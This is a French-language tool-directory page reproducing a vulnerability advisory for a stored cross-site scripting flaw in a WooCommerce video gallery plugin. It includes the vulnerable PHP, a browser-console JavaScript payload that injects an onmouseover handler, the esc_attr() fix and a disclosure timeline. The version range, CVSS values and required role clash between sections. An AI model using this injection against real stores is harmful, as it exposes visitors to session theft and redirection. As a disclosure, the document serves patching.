Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-10104-POC — Galerie vidéo de produits pour Woocommerce <= 1.5.1.8 - Preuve de concept de script intersite stocké authentifié | Kitploit
Outils/GitHubGitHub/ravi-lk/cve-2026-10104-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubravi-lk/cve-2026-10104-poc

CVE-2026-10104-POC

Galerie vidéo de produits pour Woocommerce <= 1.5.1.8 - Preuve de concept de script intersite stocké authentifié

Voir le dépôt
2il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-10104 : Cross-Site Scripting stocké dans Product Video Gallery for WooCommerce

Résumé

DétailValeur
ID CVECVE-2026-10104
PluginProduct Video Gallery for WooCommerce
ÉditeurTechnoSoft Webs (NikHiL Gadhiya)
TypeCross-Site Scripting (XSS) stocké
CWECWE-79 — Neutralisation incorrecte des entrées lors de la génération de pages web
CVSS 3.14.4 (Moyen)
Versions affectées≤ 1.5.1.6
Version corrigée1.5.1.9
Nécessite une authentificationOui — Contributeur+ (tout rôle pouvant modifier des produits)
Découvert parRavindu Lakmina Munaweera

Description

Le plugin Product Video Gallery for WooCommerce pour WordPress (versions jusqu’à la 1.5.1.6 incluse) est vulnérable à un Cross-Site Scripting (XSS) stocké via le paramètre meta produit custom_thumbnail.

La méthode save_wc_video_url_field() du plugin nettoie le paramètre POST custom_thumbnail[] à l’aide de sanitize_text_field(), qui supprime les balises HTML mais ne supprime pas les guillemets doubles ("). Côté frontend, la valeur stockée est insérée directement dans les attributs d’une balise `` dans nickx_get_video_thumbanil_html() sans échappement esc_attr(). Cela permet à un attaquant authentifié d’injecter des attributs arbitraires de gestionnaires d’événements HTML (par exemple, onmouseover, onerror) qui exécutent du JavaScript dans le navigateur de tout visiteur — y compris les utilisateurs non authentifiés — qui consulte la page produit concernée.


Vecteur CVSS 3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Code affecté

Sortie (puits — aucun échappement)

Fichier : public/class-rendering.php
Méthode : nickx_get_video_thumbanil_html()

root@kitploit:~
// Ligne 365 — valeur insérée sans esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// Ligne 379 — rendu dans une balise  côté public
echo '';

Source (enregistrement — nettoyage insuffisant)

Fichier : admin/class-video-field.php
Méthode : save_wc_video_url_field()

root@kitploit:~
// Lignes 309-310 — sanitize_text_field() supprime les balises mais PAS les guillemets doubles
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}

Preuve de concept

Prérequis

  • WordPress avec WooCommerce installé
  • Plugin : Product Video Gallery for WooCommerce ≤ 1.5.1.6
  • Un produit WooCommerce avec une URL vidéo YouTube configurée
  • Un compte disposant de privilèges d’édition de produits (Gestionnaire de boutique, Auteur, etc.)

Étapes pour reproduire

  1. Connectez-vous en tant que Gestionnaire de boutique (attaquant).

  2. Naviguez vers Produits → Modifier un produit quelconque qui possède une URL vidéo définie dans le champ « Product Video Url ».

  3. Ouvrez les outils de développement du navigateur (F12) → onglet Console.

  4. Copiez et exécutez le code JavaScript suivant :

root@kitploit:~
const form = document.getElementById('post');

// Définir l’ID de la vignette sur une valeur non vide (requise par la condition de rendu)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// Injection de la charge utile XSS via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
  1. Cliquez sur « Mettre à jour » pour enregistrer le produit.

  2. Ouvrez la page produit côté frontend dans une fenêtre de navigation privée (non authentifié).

  3. Survolez la vignette vidéo dans la galerie du produit.

  4. ✅ L’alerte JavaScript s’exécute, confirmant le XSS stocké.

image image

Sortie rendue

root@kitploit:~

Le guillemet double injecté " ferme l’attribut custom_thumbnail, et onmouseover devient un attribut exécutable sur l’élément ``.


Impact

  • Le XSS stocké s’exécute sur le frontend public pour tous les visiteurs, y compris les utilisateurs non authentifiés
  • Les attaquants peuvent voler les cookies de session et détourner les comptes administrateur
  • Les attaquants peuvent rediriger les clients vers des sites de phishing ou de distribution de malwares
  • Les attaquants peuvent défigurer les pages produits ou injecter des cryptomineurs
  • Seul un accès de niveau Contributeur est nécessaire pour exploiter la vulnérabilité

Correction

Appliquez esc_attr() à la valeur de la vignette personnalisée avant de l’insérer dans l’attribut HTML :

root@kitploit:~
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';

Cette même correction doit être appliquée à toutes les occurrences de construction de $custom_thumbnail dans nickx_get_video_thumbanil_html() (les deux chemins de code, avec tableau et sans tableau).


Calendrier de divulgation

DateÉvénement
2026-03-20Vulnérabilité découverte
2026-03-20Signalée à Wordfence (CNA)
2026-05-29ID CVE attribué : CVE-2026-10104
2026-07-01Divulgation publique

Crédits

  • Découvert par : Ravindu Lakmina Munaweera
  • CVE attribué par : Wordfence (CNA)
  • CVE ORG

Références

  • CVE-2026-10104
  • Page du plugin WordPress
  • Entrée de la base de données de vulnérabilités Wordfence
  • CWE-79 : Cross-site Scripting
  • Aide-mémoire OWASP pour la prévention XSS

Licence

Cet avis est publié sous CC BY 4.0.

Télécharger l’outil
MétriqueValeur
Vecteur d’attaqueRéseau
Complexité d’attaqueFaible
Privilèges requisFaible
Interaction utilisateurAucune
PérimètreModifié
Impact sur la confidentialitéFaible
Impact sur l’intégritéFaible
Impact sur la disponibilitéAucun